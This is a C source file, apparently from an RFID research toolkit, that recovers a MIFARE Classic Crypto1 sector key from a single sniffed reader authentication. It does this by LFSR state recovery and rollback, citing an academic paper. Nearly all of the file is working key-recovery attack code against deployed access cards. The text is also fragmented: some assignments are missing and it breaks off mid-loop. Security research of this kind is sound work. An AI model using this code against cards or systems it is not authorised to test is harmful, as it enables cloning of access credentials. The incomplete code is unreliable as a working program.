1 // Doegox, 2024, cf https://eprint.iacr.org/2024/1275 for more info
7 #include "crapto1/crapto1.h"
8 #include "util_posix.h"
10 int main(int argc
, char *argv
[]) {
11 struct Crypto1State
*s
, *t
;
12 uint64_t key
; // recovered key
13 uint32_t uid
; // serial number
14 uint32_t nt
; // tag nonce
15 uint32_t nt_enc
; // encrypted tag nonce
16 uint32_t nr_enc
; // encrypted reader nonce
17 uint32_t ar
; // reader response
18 uint32_t ar_enc
; // encrypted reader response
19 uint32_t ks0
; // keystream used to encrypt tag nonce
20 uint32_t ks2
; // keystream used to encrypt reader response
22 printf("MIFARE Classic key recovery - known nT scenario\n");
23 printf("Recover key from one reader authentication answer only\n");
26 printf("syntax: %s <uid> <nt> <{nt}> <{nr}> <{ar}>\n\n", argv
[0]);
30 sscanf(argv
[1], "%x", &uid
);
31 sscanf(argv
[2], "%x", &nt
);
32 sscanf(argv
[3], "%x", &nt_enc
);
33 sscanf(argv
[4], "%x", &nr_enc
);
34 sscanf(argv
[5], "%x", &ar_enc
);
36 printf("Recovering key for:\n");
37 printf(" uid: %08x\n", uid
);
38 printf(" nt: %08x\n", nt
);
39 printf(" {nt}: %08x\n", nt_enc
);
40 printf(" {nr}: %08x\n", nr_enc
);
41 printf(" {ar}: %08x\n", ar_enc
);
43 printf("\nLFSR successor of the tag challenge:\n");
44 ar
= prng_successor(nt
, 64);
45 printf(" ar: %08x\n", ar
);
47 printf("\nKeystream used to generate {nt}:\n");
49 printf(" ks0: %08x\n", ks0
);
50 printf("\nKeystream used to generate {ar}:\n");
52 printf(" ks2: %08x\n", ks2
);
54 s
= lfsr_recovery32(ks0
, uid
^ nt
);
56 for (t
= s
; t
->odd
| t
->even
; ++t
) {
57 crypto1_word(t
, nr_enc
, 1);
58 if (ks2
== crypto1_word(t
, 0, 0)) {
59 lfsr_rollback_word(t
, 0, 0);
60 lfsr_rollback_word(t
, nr_enc
, 1);
61 lfsr_rollback_word(t
, uid
^ nt
, 0);
62 crypto1_get_lfsr(t
, &key
);
63 printf("\nFound Key: [%012" PRIx64
"]\n\n", key
);